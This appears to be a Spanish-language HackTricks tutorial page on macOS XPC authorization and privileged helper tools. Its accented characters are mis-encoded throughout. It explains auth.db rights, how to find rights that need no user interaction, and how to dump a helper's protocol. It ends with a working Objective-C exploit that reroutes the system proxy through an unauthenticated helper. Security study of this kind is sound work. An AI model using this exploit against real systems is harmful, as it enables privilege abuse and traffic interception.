macOS XPC Authorization
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
XPC Authorization
Apple tambi茅n propone otra forma de autenticar si el proceso de conexi贸n tiene permisos para llamar a un m茅todo XPC expuesto.
Cuando una aplicaci贸n necesita ejecutar acciones como un usuario privilegiado, en lugar de ejecutar la aplicaci贸n como un usuario privilegiado, generalmente instala como root un HelperTool como un servicio XPC que podr铆a ser llamado desde la aplicaci贸n para realizar esas acciones. Sin embargo, la aplicaci贸n que llama al servicio debe tener suficiente autorizaci贸n.
ShouldAcceptNewConnection siempre YES
Un ejemplo se puede encontrar en EvenBetterAuthorizationSample. En App/AppDelegate.m
intenta conectarse al HelperTool. Y en HelperTool/HelperTool.m
la funci贸n shouldAcceptNewConnection
no verificar谩 ninguno de los requisitos indicados anteriormente. Siempre devolver谩 YES:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES;
}
Para m谩s informaci贸n sobre c贸mo configurar correctamente esta verificaci贸n, consulte:
macOS XPC Connecting Process Check
Derechos de la aplicaci贸n
Sin embargo, hay alguna autorizaci贸n en curso cuando se llama a un m茅todo del HelperTool.
La funci贸n applicationDidFinishLaunching
de App/AppDelegate.m
crear谩 una referencia de autorizaci贸n vac铆a despu茅s de que la aplicaci贸n haya comenzado. Esto siempre deber铆a funcionar.
Luego, intentar谩 agregar algunos derechos a esa referencia de autorizaci贸n llamando a setupAuthorizationRights
:
- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);
// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).
if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}
[self.window makeKeyAndOrderFront:self];
}
La funci贸n setupAuthorizationRights
de Common/Common.m
almacenar谩 en la base de datos de autenticaci贸n /var/db/auth.db
los derechos de la aplicaci贸n. Tenga en cuenta que solo agregar谩 los derechos que a煤n no est谩n en la base de datos:
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus blockErr;
// First get the right. If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.
blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef, // authRef
[authRightName UTF8String], // rightName
(__bridge CFTypeRef) authRightDefault, // rightDefinition
(__bridge CFStringRef) authRightDesc, // descriptionKey
NULL, // bundle (NULL implies main bundle)
CFSTR("Common") // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run. Either way, there's nothing more for
// us to do.
}
}];
}
La funci贸n enumerateRightsUsingBlock
es la que se utiliza para obtener los permisos de las aplicaciones, que est谩n definidos en commandInfo
:
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc = @"authRightDescription";
+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary * sCommandInfo;
dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}
+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}
+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary * commandDict;
NSString * authRightName;
id authRightDefault;
NSString * authRightDesc;
// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.
commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);
authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);
authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);
authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);
block(authRightName, authRightDefault, authRightDesc);
}];
}
Esto significa que al final de este proceso, los permisos declarados dentro de commandInfo
se almacenar谩n en /var/db/auth.db
. Nota c贸mo all铆 puedes encontrar para cada m茅todo que requiere autenticaci贸n, nombre del permiso y el kCommandKeyAuthRightDefault
. Este 煤ltimo indica qui茅n puede obtener este derecho.
Hay diferentes 谩mbitos para indicar qui茅n puede acceder a un derecho. Algunos de ellos est谩n definidos en AuthorizationDB.h (puedes encontrar todos ellos aqu铆), pero como resumen:
Nombre | Valor | Descripci贸n |
---|---|---|
kAuthorizationRuleClassAllow | allow | Cualquiera |
kAuthorizationRuleClassDeny | deny | Nadie |
kAuthorizationRuleIsAdmin | is-admin | El usuario actual necesita ser un admin (dentro del grupo de administradores) |
kAuthorizationRuleAuthenticateAsSessionUser | authenticate-session-owner | Pedir al usuario que se autentique. |
kAuthorizationRuleAuthenticateAsAdmin | authenticate-admin | Pedir al usuario que se autentique. Necesita ser un admin (dentro del grupo de administradores) |
kAuthorizationRightRule | rule | Especificar reglas |
kAuthorizationComment | comment | Especificar algunos comentarios adicionales sobre el derecho |
Verificaci贸n de Derechos
En HelperTool/HelperTool.m
la funci贸n readLicenseKeyAuthorization
verifica si el llamador est谩 autorizado para ejecutar tal m茅todo llamando a la funci贸n checkAuthorization
. Esta funci贸n comprobar谩 que los authData enviados por el proceso llamador tienen un formato correcto y luego verificar谩 qu茅 se necesita para obtener el derecho para llamar al m茅todo espec铆fico. Si todo va bien, el error
devuelto ser谩 nil
:
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]
// First check that authData looks reasonable.
error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}
// Create an authorization ref from that the external form data contained within.
if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);
// Authorize the right associated with the command.
if (err == errAuthorizationSuccess) {
AuthorizationItem oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights = { 1, &oneRight };
oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);
err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}
if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}
return error;
}
Tenga en cuenta que para verificar los requisitos para obtener el derecho a llamar a ese m茅todo, la funci贸n authorizationRightForCommand
solo verificar谩 el objeto de comentario previamente mencionado commandInfo
. Luego, llamar谩 a AuthorizationCopyRights
para verificar si tiene los derechos para llamar a la funci贸n (tenga en cuenta que las banderas permiten la interacci贸n con el usuario).
En este caso, para llamar a la funci贸n readLicenseKeyAuthorization
, el kCommandKeyAuthRightDefault
se define como @kAuthorizationRuleClassAllow
. As铆 que cualquiera puede llamarlo.
Informaci贸n de la base de datos
Se mencion贸 que esta informaci贸n se almacena en /var/db/auth.db
. Puede listar todas las reglas almacenadas con:
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
Luego, puedes leer qui茅n puede acceder al derecho con:
security authorizationdb read com.apple.safaridriver.allow
Derechos permisivos
Puedes encontrar todas las configuraciones de permisos aqu铆, pero las combinaciones que no requerir谩n interacci贸n del usuario ser铆an:
- 'authenticate-user': 'false'
- Esta es la clave m谩s directa. Si se establece en
false
, especifica que un usuario no necesita proporcionar autenticaci贸n para obtener este derecho. - Se utiliza en combinaci贸n con una de las 2 a continuaci贸n o indicando un grupo al que el usuario debe pertenecer.
- 'allow-root': 'true'
- Si un usuario est谩 operando como el usuario root (que tiene permisos elevados), y esta clave est谩 establecida en
true
, el usuario root podr铆a potencialmente obtener este derecho sin m谩s autenticaci贸n. Sin embargo, t铆picamente, llegar a un estado de usuario root ya requiere autenticaci贸n, por lo que este no es un escenario de "sin autenticaci贸n" para la mayor铆a de los usuarios.
- 'session-owner': 'true'
- Si se establece en
true
, el propietario de la sesi贸n (el usuario actualmente conectado) obtendr铆a autom谩ticamente este derecho. Esto podr铆a eludir la autenticaci贸n adicional si el usuario ya ha iniciado sesi贸n.
- 'shared': 'true'
- Esta clave no otorga derechos sin autenticaci贸n. En cambio, si se establece en
true
, significa que una vez que el derecho ha sido autenticado, puede ser compartido entre m煤ltiples procesos sin que cada uno necesite re-autenticarse. Pero la concesi贸n inicial del derecho a煤n requerir铆a autenticaci贸n a menos que se combine con otras claves como'authenticate-user': 'false'
.
Puedes usar este script para obtener los derechos interesantes:
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard
Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
Reversi贸n de Autorizaci贸n
Verificando si se utiliza EvenBetterAuthorization
Si encuentras la funci贸n: [HelperTool checkAuthorization:command:]
probablemente el proceso est茅 utilizando el esquema mencionado anteriormente para la autorizaci贸n:
Esto, si esta funci贸n est谩 llamando a funciones como AuthorizationCreateFromExternalForm
, authorizationRightForCommand
, AuthorizationCopyRights
, AuhtorizationFree
, est谩 utilizando EvenBetterAuthorizationSample.
Verifica el /var/db/auth.db
para ver si es posible obtener permisos para llamar a alguna acci贸n privilegiada sin interacci贸n del usuario.
Comunicaci贸n de Protocolo
Luego, necesitas encontrar el esquema de protocolo para poder establecer una comunicaci贸n con el servicio XPC.
La funci贸n shouldAcceptNewConnection
indica el protocolo que se est谩 exportando:
En este caso, tenemos lo mismo que en EvenBetterAuthorizationSample, ver esta l铆nea.
Sabiendo el nombre del protocolo utilizado, es posible volcar su definici贸n de encabezado con:
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]
Por 煤ltimo, solo necesitamos conocer el nombre del Servicio Mach expuesto para establecer una comunicaci贸n con 茅l. Hay varias formas de encontrar esto:
- En el
[HelperTool init]
donde puedes ver el Servicio Mach que se est谩 utilizando:
- En el plist de launchd:
cat /Library/LaunchDaemons/com.example.HelperTool.plist
[...]
<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]
Ejemplo de Explotaci贸n
En este ejemplo se crea:
- La definici贸n del protocolo con las funciones
- Una autenticaci贸n vac铆a para usar para solicitar acceso
- Una conexi贸n al servicio XPC
- Una llamada a la funci贸n si la conexi贸n fue exitosa
// gcc -framework Foundation -framework Security expl.m -o expl
#import <Foundation/Foundation.h>
#import <Security/Security.h>
// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";
// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end
int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;
// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);
// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];
// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];
// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);
// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];
// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];
NSLog(@"Finished!");
}
Otros ayudantes de privilegios XPC abusados
Referencias
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.